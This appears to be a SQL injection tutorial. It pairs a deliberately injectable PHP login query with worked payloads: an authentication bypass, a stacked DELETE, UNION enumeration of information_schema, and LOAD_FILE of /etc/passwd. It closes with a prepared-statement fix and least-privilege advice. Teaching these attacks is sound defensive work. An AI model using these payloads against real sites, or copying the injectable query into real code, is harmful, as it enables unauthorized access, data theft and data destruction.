<?php

    include("connection.php");

    $username = $_POST['username'];
    $password = $_POST['password'];

    // Example of injectable query:
    $login_query = $db->prepare("
        SELECT * FROM users
        WHERE
            username = '$username'
        AND
            password = '$password'
    ");

    /**
     * If we have $username = 'jesse' and
     * $password = "' OR '1' = '1", then our query becomes:
     *
     *  SELECT * FROM users
     *      WHERE username='jesse' AND
     *      password='' OR '1' = '1'
     */

    $login_query->execute();

?>

Example 1: hijacking a bad login query to log in successfully

Query is:   SELECT * FROM users WHERE username = '$username' and password = '$password';

We want:    SELECT * FROM users WHERE username = 'jesse' and password = '' OR '1' = '1';

Username:   jesse
Password:   ' OR '1' = 1'


Example 2: hijacking a bad login query to do malicious things (deleting messages)

Query is:   SELECT * FROM users WHERE username = '$username' and password = '$password';

We want:    SELECT * FROM users WHERE username = '' and password = ''; DELETE FROM messages; -- ';

Username:
Password:   '; DELETE FROM messages; -- 


Example 3: hijacking a search query to get other data using UNION

Query is:   SELECT * FROM search_terms WHERE terms LIKE '$test' LIMIT 5;

We want:    SELECT * FROM search_terms WHERE terms LIKE '' UNION SELECT table_name FROM information_schema.tables; -- ' LIMIT 5;

Search:     ' UNION SELECT table_name FROM information_schema.tables; -- 
    or
Search:     ' UNION SELECT CONCAT(table_schema,'.',table_name) FROM information_schema.tables; -- 
    or
Search:     ' UNION SELECT @@version; -- 


Also, file reading/writing:
    SELECT LOAD_FILE('/etc/passwd')
    SELECT * FROM tablename INTO OUTFILE '/tmp/outfile'


How to prevent:

    $get_login = $db->prepare("
        SELECT * FROM users
        WHERE username = :username
    ");
    $get_login->execute(array(
        ':username' => $_GET['username']
    ));


How to mitigate attacks:
1) Don't run mysqld (the mysql server) as the Unix root user
2) Don't use the mysql root user to access your web application
3) Create low-privileged users and databases for each web application
    - CREATE DATABASE
    - GRANT